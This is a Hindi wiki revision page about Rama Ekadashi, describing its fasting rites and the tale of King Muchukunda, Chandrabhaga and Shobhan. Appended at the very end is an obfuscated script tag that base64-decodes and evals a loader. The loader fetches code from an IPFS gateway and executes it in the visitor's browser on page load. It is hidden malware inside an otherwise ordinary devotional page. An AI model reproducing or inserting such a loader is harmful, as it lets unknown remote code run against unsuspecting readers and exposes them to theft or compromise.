रमा एकादशी: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
Line 1: Line 1:
==व्रत और विधि==
==व्रत और विधि==
[[दीपावली]] के चार दिन पूर्व पड़ने वाली इस एकादशी को [[लक्ष्मी]]जी के नाम पर 'रमा एकादशी' कहा जाता है। इस दिन भगवान [[विष्णु]] के पूर्णावतार [[कृष्ण]]जी के [[केशव]] रूप की पूजा अराधना की जाती है। इस दिन भगवान केशव का संपूर्ण वस्तुओं से पूजन, नैवेद्य तथा आरती कर, प्रसाद वितरण करें व ब्राह्मणों को भोजन कराएं। इस एकादशी का व्रत करने से जीवन में वैभव और अंत में मोक्ष की प्राप्ति होती है।
[[दीपावली]] के चार दिन पूर्व पड़ने वाली इस एकादशी को [[लक्ष्मी]] जी के नाम पर 'रमा एकादशी' कहा जाता है। इस दिन भगवान [[विष्णु]] के पूर्णावतार [[कृष्ण]] जी के [[केशव]] रूप की पूजा अराधना की जाती है। इस दिन भगवान केशव का संपूर्ण वस्तुओं से पूजन, नैवेद्य तथा आरती कर, प्रसाद वितरण करें व ब्राह्मणों को भोजन कराएं। इस एकादशी का व्रत करने से जीवन में वैभव और अंत में मोक्ष की प्राप्ति होती है।
==कथा==  
==कथा==  
एक समय मुचकुन्द नाम का एक राजा रहता था। वह बड़ा दानी और धर्मात्मा था। उसे एकादशी व्रत का पूरा विश्वास था।वह प्रत्येक एकादशी व्रत को करता था तथा उसके राज्य की प्रजा पर यह व्रत करने का नियम लागू था। उसके एक कन्या थी जिसका नाम था- चंद्रभागा। वह भी पिता से ज़्यादा इस व्रत पर विश्वास करती थी।
एक समय मुचकुन्द नाम का एक राजा रहता था। वह बड़ा दानी और धर्मात्मा था। उसे एकादशी व्रत का पूरा विश्वास था।वह प्रत्येक एकादशी व्रत को करता था तथा उसके राज्य की प्रजा पर यह व्रत करने का नियम लागू था। उसके एक कन्या थी जिसका नाम था- चंद्रभागा। वह भी पिता से ज़्यादा इस व्रत पर विश्वास करती थी।

Revision as of 06:27, 22 May 2010

व्रत और विधि

दीपावली के चार दिन पूर्व पड़ने वाली इस एकादशी को लक्ष्मी जी के नाम पर 'रमा एकादशी' कहा जाता है। इस दिन भगवान विष्णु के पूर्णावतार कृष्ण जी के केशव रूप की पूजा अराधना की जाती है। इस दिन भगवान केशव का संपूर्ण वस्तुओं से पूजन, नैवेद्य तथा आरती कर, प्रसाद वितरण करें व ब्राह्मणों को भोजन कराएं। इस एकादशी का व्रत करने से जीवन में वैभव और अंत में मोक्ष की प्राप्ति होती है।

कथा

एक समय मुचकुन्द नाम का एक राजा रहता था। वह बड़ा दानी और धर्मात्मा था। उसे एकादशी व्रत का पूरा विश्वास था।वह प्रत्येक एकादशी व्रत को करता था तथा उसके राज्य की प्रजा पर यह व्रत करने का नियम लागू था। उसके एक कन्या थी जिसका नाम था- चंद्रभागा। वह भी पिता से ज़्यादा इस व्रत पर विश्वास करती थी।

उसका विवाह राजा चन्द्रसेन के पुत्र शोभन के साथ हुआ। वह राजा मुचकुन्द के साथ ही रहता था। एकादशी आने पर सभी ने व्रत किए, शोभन ने भी एकादशी का व्रत किया। परन्तु दुर्बल और क्षीणकाय होने से भूख से व्याकुल हो मृत्यु को प्राप्त हो गया।

इससे राजा-रानी और चन्द्रभागा अत्यंत दुखी हुए। इधर शोभन को व्रत के प्रभाव से मंदराचल पर्वत पर स्थित देवनगरी में आवास मिला। वहां उसकी सेवा में रमादि अप्सराएं थीं।

अचानक एक दिन राजा मुचकुन्द मंदराचल पर टहलते हुए पहुंचा, तो वहां पर अपने दामाद को देखा और घर आकर सारा वृतांत पुत्री को बताया। चंद्रभागा भी समाचार पाकर पति के पास चली गई। दोनों सुख से पर्वत पर निवास करने लगे।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>